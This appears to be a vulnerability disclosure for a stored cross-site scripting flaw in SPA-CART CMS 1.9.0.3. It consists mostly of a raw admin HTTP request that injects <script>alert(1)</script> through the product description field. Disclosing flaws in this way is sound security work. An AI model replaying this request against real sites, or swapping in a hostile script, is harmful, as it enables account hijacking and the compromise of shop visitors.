SPA-CART CMS - Stored XSS

# Exploit Title: SPA-CART CMS - Stored XSS
# Date: 2024-01-03
# Exploit Author: Eren Sen
# Vendor: SPA-Cart
# Vendor Homepage: https://spa-cart.com/
# Software Link: https://demo.spa-cart.com/
# Version: [1.9.0.3]
# CVE-ID: N/A
# Tested on: Kali Linux / Windows 10
# Vulnerabilities Discovered Date : 2024/01/03

# Vulnerability Type: Stored Cross Site Scripting (XSS) Vulnerability
# Vulnerable Parameter Type: POST
# Vulnerable Parameter: descr

# Proof of Concept: demo.spa-cart.com/product/258

# HTTP Request:

POST ////admin/products/258 HTTP/2
Host: demo.spa-cart.com
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxx; remember=xxxxxxxxxxxxxxxx
Content-Length: 1906
Sec-Ch-Ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryUsO8JxBs6LhB8LSl
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Sec-Ch-Ua-Platform: ""
Origin: https://demo.spa-cart.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.spa-cart.com////admin/products/258
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="mode"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="sku"

SKU386

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="name"

asdf

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="cleanurl"

Wholesale-DIY-Jewelry-Faceted-70pcs-6-8mm-Red-AB-Rondelle-glass-Crystal-Beads
------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="avail"

1000

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="price"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="list_price"

2

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="weight"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categoryid"

42

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categories[]"

8

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="categories[]"

37

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="brandid"

4

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="status"


1

------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="keywords"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl

Content-Disposition: form-data; name="descr"

<script>alert(1)</script>



------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="title_tag"


------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="meta_keywords"


------WebKitFormBoundaryUsO8JxBs6LhB8LSl
Content-Disposition: form-data; name="meta_description"


------WebKitFormBoundaryUsO8JxBs6LhB8LSl--